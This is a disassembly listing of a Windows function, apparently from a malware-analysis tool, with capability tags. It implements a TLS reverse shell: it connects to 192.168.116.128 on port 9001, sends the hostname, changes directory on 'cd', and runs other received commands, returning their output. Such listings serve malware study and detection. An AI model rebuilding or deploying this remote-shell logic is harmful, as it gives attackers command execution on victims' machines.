Function at 0x140001747
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Get common file path
Get hostname
Initialize winsock library
Set current directory

Disassembly:
push rbp
mov eax, 0x3300
call fcn.140002bd0
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x30c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x327c], eax
mov word [rbp + 0x30b0], 2
mov ecx, 0x2329
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x30b2], ax
lea rax, [rbp + 0x30b0]
add rax, 4
mov r8, rax
lea rax, str.192.168.116.128
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
mov eax, dword [rbp + 0x327c]
cdqe
lea rdx, [rbp + 0x30b0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov edx, 0
mov ecx, 0
call sym.OPENSSL_init_ssl
mov edx, 0
mov ecx, 0x200002
call sym.OPENSSL_init_ssl
mov edx, 0
mov ecx, 0xc
call sym.OPENSSL_init_crypto
call sym.TLS_client_method
mov rcx, rax
call sym.SSL_CTX_new
mov qword [rbp + 0x3270], rax
mov rax, qword [rbp + 0x3270]
mov rcx, rax
call sym.SSL_new
mov qword [rbp + 0x3268], rax
mov edx, dword [rbp + 0x327c]
mov rax, qword [rbp + 0x3268]
mov rcx, rax
call sym.SSL_set_fd
mov rax, qword [rbp + 0x3268]
mov rcx, rax
call sym.SSL_connect
cmp eax, 0xffffffff
jne 0x14000189e
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
call sym.ERR_print_errors_fp
mov eax, 1
jmp 0x140001a8f
lea rax, [rbp + 0x20b0]
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostname]
call rax
lea rax, [rbp + 0x20b0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x20b0]
mov rax, qword [rbp + 0x3268]
mov r8d, ecx
mov rcx, rax
call sym.SSL_write
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rdx, [rbp + 0x10b0]
mov rax, qword [rbp + 0x3268]
mov r8d, 0xfff
mov rcx, rax
call sym.SSL_read
mov dword [rbp + 0x3264], eax
cmp dword [rbp + 0x3264], 0
jle 0x140001a3c
mov eax, dword [rbp + 0x3264]
cdqe
mov byte [rbp + rax + 0x10b0], 0
lea rax, [rbp + 0x10b0]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001a3f
lea rax, [rbp + 0x10b0]
mov r8d, 3
lea rdx, [0x14000a051]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x1400019f1
lea rax, [rbp + 0x10b0]
add rax, 3
mov qword [rbp + 0x3258], rax
mov rax, qword [rbp + 0x3258]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
test eax, eax
je 0x1400019d4
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov r9, rdx
lea r8, str.Changed_directory_to__s_n
mov edx, 0x1000
mov rcx, rax
call sym.snprintf
jmp 0x140001a0d
lea rax, [rbp + 0xb0]
lea r8, str.Failed_to_change_directory_n
mov edx, 0x1000
mov rcx, rax
call sym.snprintf
jmp 0x140001a0d
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x10b0]
mov r8d, 0x1000
mov rcx, rax
call sym.execute_command
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x3268]
mov r8d, ecx
mov rcx, rax
call sym.SSL_write
jmp 0x1400018f5
nop
jmp 0x140001a40
nop
mov rax, qword [rbp + 0x3268]
mov rcx, rax
call sym.SSL_shutdown
mov rax, qword [rbp + 0x3268]
mov rcx, rax
call sym.SSL_free
mov rax, qword [rbp + 0x3270]
mov rcx, rax
call sym.SSL_CTX_free
mov eax, dword [rbp + 0x327c]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x3300
pop rbp
ret